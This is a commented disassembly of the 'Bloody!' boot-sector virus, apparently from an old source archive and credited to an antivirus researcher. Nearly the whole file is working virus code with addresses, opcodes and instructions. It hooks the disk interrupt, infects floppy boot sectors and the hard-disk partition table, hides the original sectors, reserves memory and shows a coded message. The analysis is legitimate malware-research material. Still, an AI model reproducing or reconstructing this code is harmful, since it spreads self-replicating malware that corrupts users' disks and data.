home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BLOODY.ASM < prev    next >
Assembly Source File  |  1992-08-30  |  11KB  |  281 lines

  1.  
  2. ;     BLOODY! virus
  3. ;
  4. ;    Discovered an commented by  Ferenc Leitold
  5. ;                   Hungarian VirusBuster Team
  6. ;                              Address: 1399 Budapest
  7. ;                                       P.O. box 701/349
  8. ;                                          HUNGARY
  9.  
  10.  
  11. 217D:0100  2EFF2E177C     JMP    Far CS:[7C17]
  12. 217D:0105  E9B500         JMP    01BD        ; Jump to main entry point
  13.  
  14. 217D:0108  00              db     0        ; Counter
  15. 217D:0109  00              db     0
  16. 217D:010A  00             db     0        ; Flag:
  17.                         ;      00 : floppy
  18.                         ;      80 : hard disk
  19. 217D:010B  00             db     0
  20.  
  21. 217D:010C  A100F0         MOV    AX,[F000]
  22.  
  23. 217D:010F  0301809F       DW     0103H,9F80H    ; Entry point at TOP
  24.  
  25. 217D:0113  007C0000      DW     7C00H,0000H    ; Address of orig. boot
  26.  
  27. 217D:0117  057C0000       DW     7C05H,0000H
  28.  
  29. 217D:011B  00000000      DW     0000H,0000H    ; original INT13 vector
  30.  
  31. ;************************ INT13 entry point *****************************
  32.  
  33. 217D:011F  80FC02         CMP    AH,02            ; Check parameters
  34. 217D:0122  720D           JC     0131
  35. 217D:0124  80FC04         CMP    AH,04
  36. 217D:0127  7308           JNC    0131
  37. 217D:0129  80FA80         CMP    DL,80
  38. 217D:012C  7303           JNC    0131
  39. 217D:012E  E80500         CALL   0136           ; Call, if AH=2,3 & DL!=80
  40. 217D:0131  2EFF2E0B00     JMP    Far CS:[000B]    ; Jump to original INT13
  41.  
  42. 217D:0136  50             PUSH   AX        ; Save registers
  43. 217D:0137  53             PUSH   BX
  44. 217D:0138  51             PUSH   CX
  45. 217D:0139  52             PUSH   DX
  46. 217D:013A  06             PUSH   ES
  47. 217D:013B  1E             PUSH   DS
  48. 217D:013C  56             PUSH   SI
  49. 217D:013D  57             PUSH   DI
  50.  
  51. 217D:013E  0E             PUSH   CS        ; Set DS,ES to CS
  52. 217D:013F  1F             POP    DS
  53. 217D:0140  0E             PUSH   CS
  54. 217D:0141  07             POP    ES
  55.  
  56. 217D:0142  BE0200         MOV    SI,0002    ; 2 probe
  57.  
  58. 217D:0145  33C0           XOR    AX,AX        ; Reset drive
  59. 217D:0147  9C             PUSHF
  60. 217D:0148  FF1E0B00       CALL   Far [000B]    ; Call INT13
  61. 217D:014C  B80102         MOV    AX,0201    ; Read boot sector of floppy
  62. 217D:014F  BB0002         MOV    BX,0200
  63. 217D:0152  B90100         MOV    CX,0001
  64. 217D:0155  32F6           XOR    DH,DH
  65. 217D:0157  9C             PUSHF
  66. 217D:0158  FF1E0B00       CALL   Far [000B]    ; Call INT13
  67. 217D:015C  7305           JNC    0163
  68. 217D:015E  4E             DEC    SI        ; If error next probe
  69. 217D:015F  75E4           JNZ    0145
  70. 217D:0161  EB2E           JMP    0191        ; Jump, if 2 bad probes was
  71.  
  72. 217D:0163  33F6           XOR    SI,SI      ; Check boot sector, if
  73. 217D:0165  BF0002         MOV    DI,0200    ;  if infected yet
  74. 217D:0168  B90300         MOV    CX,0003
  75. 217D:016B  FC             CLD
  76. 217D:016C  F3A7           REP    CMPSW
  77. 217D:016E  7421           JZ     0191        ; Jump, if already infected
  78.  
  79. 217D:0170  B80103         MOV    AX,0301    ; Write orig. boot sector
  80. 217D:0173  BB0002         MOV    BX,0200
  81. 217D:0176  B90300         MOV    CX,0003    ; cyl: 0  sect: 3
  82. 217D:0179  B601           MOV    DH,01        ; head: 1
  83. 217D:017B  9C             PUSHF
  84. 217D:017C  FF1E0B00       CALL   Far [000B]    ; Call INT13
  85. 217D:0180  720F           JC     0191
  86.  
  87. 217D:0182  B80103         MOV    AX,0301    ; Write infected boot sector
  88. 217D:0185  33DB           XOR    BX,BX
  89. 217D:0187  B90100         MOV    CX,0001    ; cyl:0 sect:1
  90. 217D:018A  32F6           XOR    DH,DH        ; head: 0
  91. 217D:018C  9C             PUSHF
  92. 217D:018D  FF1E0B00       CALL   Far [000B]
  93.  
  94. 217D:0191  5F             POP    DI        ; Restore registers
  95. 217D:0192  5E             POP    SI
  96. 217D:0193  1F             POP    DS
  97. 217D:0194  07             POP    ES
  98. 217D:0195  5A             POP    DX
  99. 217D:0196  59             POP    CX
  100. 217D:0197  5B             POP    BX
  101. 217D:0198  58             POP    AX
  102. 217D:0199  C3             RET
  103.  
  104. 217D:019A  1D1D1D1A3737         ; Coded text:
  105. 217D:01A0  37373737557B      ; "\r\r\r\n      Bloody! Jun. 4, 1989\r\r\r\n"
  106. 217D:01A6  7878736E3637
  107. 217D:01AC  5D6279393723
  108. 217D:01B2  3B37262E2F2E
  109. 217D:01B8  1D1D1D1A00
  110.  
  111. ;************************** Main entry point *******************************
  112.  
  113. 217D:01BD  33C0           XOR    AX,AX
  114. 217D:01BF  8ED8           MOV    DS,AX
  115. 217D:01C1  FA             CLI
  116. 217D:01C2  8ED0           MOV    SS,AX
  117. 217D:01C4  BC007C         MOV    SP,7C00
  118. 217D:01C7  FB             STI
  119.  
  120. 217D:01C8  A14C00         MOV    AX,[004C]    ; Save orig. INT13 vector
  121. 217D:01CB  A30B7C         MOV    [7C0B],AX
  122. 217D:01CE  A14E00         MOV    AX,[004E]
  123. 217D:01D1  A30D7C         MOV    [7C0D],AX
  124.  
  125. 217D:01D4  A11304         MOV    AX,[0413]    ; Decrease memory by 2KB
  126. 217D:01D7  48             DEC    AX
  127. 217D:01D8  48             DEC    AX
  128. 217D:01D9  A31304         MOV    [0413],AX
  129.  
  130. 217D:01DC  B106           MOV    CL,06        ; Calculate segment
  131. 217D:01DE  D3E0           SHL    AX,CL
  132. 217D:01E0  A3117C         MOV    [7C11],AX
  133.  
  134.  
  135.  
  136. 217D:01E3  A34E00         MOV    [004E],AX    ; Set new INT13 vector
  137. 217D:01E6  8EC0           MOV    ES,AX
  138. 217D:01E8  B81F00         MOV    AX,001F
  139. 217D:01EB  A34C00         MOV    [004C],AX
  140.  
  141. 217D:01EE  C7060F7C0301   MOV    [7C0F],0103    ; Set JMP argument points
  142.                         ;  to TOP
  143.  
  144. 217D:01F4  BE007C         MOV    SI,7C00    ; Copy itself to TOP
  145. 217D:01F7  33FF           XOR    DI,DI
  146. 217D:01F9  B90001         MOV    CX,0100
  147. 217D:01FC  FC             CLD
  148. 217D:01FD  F3A5           REP    MOVSW
  149. 217D:01FF  FF2E0F7C       JMP    Far [7C0F]    ; Jmp to TOP
  150.  
  151. TOP :0203  33C0           XOR    AX,AX        ; Reset drive
  152. TOP :0205  CD13           INT    13
  153.  
  154. TOP :0207  0E             PUSH   CS           ; Set registers to load
  155. TOP :0208  1F             POP    DS        ;  original sector
  156. TOP :0209  33C0           XOR    AX,AX
  157. TOP :020B  8EC0           MOV    ES,AX
  158. TOP :020D  B80102         MOV    AX,0201
  159. TOP :0210  BB007C         MOV    BX,7C00
  160. TOP :0213  803E0A0000     CMP    [000A],00    ; Check, if it is floppy ?
  161. TOP :0218  7435           JZ     024F        ; Jump, if floppy
  162.  
  163.                         ; if hard disk, load
  164.                         ;  orig. part. table
  165. TOP :021A  B90600         MOV    CX,0006    ; cyl.: 0 sect.: 6
  166. TOP :021D  BA8000         MOV    DX,0080    ; head: 0
  167. TOP :0220  CD13           INT    13
  168. TOP :0222  0E             PUSH   CS
  169. TOP :0223  07             POP    ES
  170. TOP :0224  FE060800       INC    B/[0008]    ; Increase counter
  171. TOP :0228  803E080080     CMP    [0008],80
  172. TOP :022D  721E           JC     024D        ; If counter < 128 -> no text
  173. TOP :022F  C60608007A     MOV    [0008],7A
  174. TOP :0234  FC             CLD
  175.  
  176. TOP :0235  BE9A00         MOV    SI,009A    ; Write coded text via BIOS
  177. TOP :0238  AC             LODSB
  178. TOP :0239  3C00           CMP    AL,00
  179. TOP :023B  740C           JZ     0249
  180. TOP :023D  32060300       XOR    AL,[0003]
  181. TOP :0241  B40E           MOV    AH,0E
  182. TOP :0243  B700           MOV    BH,00
  183. TOP :0245  CD10           INT    10
  184. TOP :0247  EBEF           JMP    0238
  185.  
  186. TOP :0249  B400           MOV    AH,00        ; Wait for keystroke
  187. TOP :024B  CD16           INT    16
  188. TOP :024D  EB54           JMP    02A3
  189.  
  190.                         ; if floppy
  191. TOP :024F  B90300         MOV    CX,0003    ; read orig. boot sector
  192. TOP :0252  BA0001         MOV    DX,0100    ; cyl: 0 hd: 1 sect: 3
  193. TOP :0255  CD13           INT    13
  194.  
  195. TOP :0257  0E             PUSH   CS
  196. TOP :0258  07             POP    ES
  197. TOP :0259  721D           JC     0278        ; Jump, if error occured
  198.  
  199.  
  200. TOP :025B  B80102         MOV    AX,0201    ; Load part. table of
  201. TOP :025E  BB0002         MOV    BX,0200    ;  1st hard disk
  202. TOP :0261  B90100         MOV    CX,0001
  203. TOP :0264  BA8000         MOV    DX,0080
  204. TOP :0267  CD13           INT    13
  205. TOP :0269  720D           JC     0278        ; Jump, if error occured
  206.  
  207. TOP :026B  BE0002         MOV    SI,0200    ; Check 1st 3 word
  208. TOP :026E  33FF           XOR    DI,DI
  209. TOP :0270  B90300         MOV    CX,0003
  210. TOP :0273  FC             CLD
  211. TOP :0274  F3A7           REP    CMPSW
  212. TOP :0276  750E           JNZ    0286
  213.  
  214.                         ; If infected yet
  215. TOP :0278  C6060A0000     MOV    [000A],00     ; Set Flag to 0
  216. TOP :027D  C606080000     MOV    [0008],00    ; Reset counter
  217. TOP :0282  FF2E1300       JMP    Far [0013]    ; Jump to orig. boot
  218.  
  219. TOP :0286  B80103         MOV    AX,0301    ; Write orig. part. table
  220. TOP :0289  BB0002         MOV    BX,0200
  221. TOP :028C  B90600         MOV    CX,0006        ; cyl: 0 sect: 6 hd: 0
  222. TOP :028F  CD13           INT    13
  223. TOP :0291  72E5           JC     0278
  224.  
  225. TOP :0293  BEBE03         MOV    SI,03BE    ; Copy partition info
  226. TOP :0296  BFBE01         MOV    DI,01BE    ;  after virus body
  227. TOP :0299  B92101         MOV    CX,0121
  228. TOP :029C  F3A5           REP    MOVSW
  229. TOP :029E  C6060A0001     MOV    [000A],01
  230.  
  231. TOP :02A3  B80103         MOV    AX,0301    ; Write boot sector or
  232.                         ;  partition table with
  233.                         ;  increased counter
  234. TOP :02A6  33DB           XOR    BX,BX
  235. TOP :02A8  B90100         MOV    CX,0001
  236. TOP :02AB  CD13           INT    13
  237.  
  238.  
  239. TOP :02AD  BEBE04         MOV    SI,04BE    ; Clear area of partition
  240. TOP :02B0  BFBE01         MOV    DI,01BE    ;  info
  241. TOP :02B3  B92000         MOV    CX,0020
  242. TOP :02B6  F3A5           REP    MOVSW
  243. TOP :02B8  EBBE           JMP    0278        ; Set parameters &
  244.                         ;  jump to orig. boot
  245. TOP :02BA  DE07           ESC    30,[BX]
  246. TOP :02BC  DF07           ESC    38,[BX]
  247. TOP :02BE  0000           ADD    [BX+SI],AL
  248. TOP :02C0  0000           ADD    [BX+SI],AL
  249. TOP :02C2  0000           ADD    [BX+SI],AL
  250. TOP :02C4  0000           ADD    [BX+SI],AL
  251. TOP :02C6  0000           ADD    [BX+SI],AL
  252. TOP :02C8  0000           ADD    [BX+SI],AL
  253. TOP :02CA  0000           ADD    [BX+SI],AL
  254. TOP :02CC  0000           ADD    [BX+SI],AL
  255. TOP :02CE  0000           ADD    [BX+SI],AL
  256. TOP :02D0  0000           ADD    [BX+SI],AL
  257. TOP :02D2  0000           ADD    [BX+SI],AL
  258. TOP :02D4  0000           ADD    [BX+SI],AL
  259. TOP :02D6  0000           ADD    [BX+SI],AL
  260. TOP :02D8  0000           ADD    [BX+SI],AL
  261. TOP :02DA  0000           ADD    [BX+SI],AL
  262. TOP :02DC  0000           ADD    [BX+SI],AL
  263. TOP :02DE  0000           ADD    [BX+SI],AL
  264. TOP :02E0  0000           ADD    [BX+SI],AL
  265. TOP :02E2  0000           ADD    [BX+SI],AL
  266. TOP :02E4  0000           ADD    [BX+SI],AL
  267. TOP :02E6  0000           ADD    [BX+SI],AL
  268. TOP :02E8  0000           ADD    [BX+SI],AL
  269. TOP :02EA  0000           ADD    [BX+SI],AL
  270. TOP :02EC  0000           ADD    [BX+SI],AL
  271. TOP :02EE  0000           ADD    [BX+SI],AL
  272. TOP :02F0  0000           ADD    [BX+SI],AL
  273. TOP :02F2  0000           ADD    [BX+SI],AL
  274. TOP :02F4  0000           ADD    [BX+SI],AL
  275. TOP :02F6  0000           ADD    [BX+SI],AL
  276. TOP :02F8  0000           ADD    [BX+SI],AL
  277. TOP :02FA  0000           ADD    [BX+SI],AL
  278. TOP :02FC  0000           ADD    [BX+SI],AL
  279. TOP :02FE  55             PUSH   BP
  280. TOP :02FF  AA             STOSB
  281.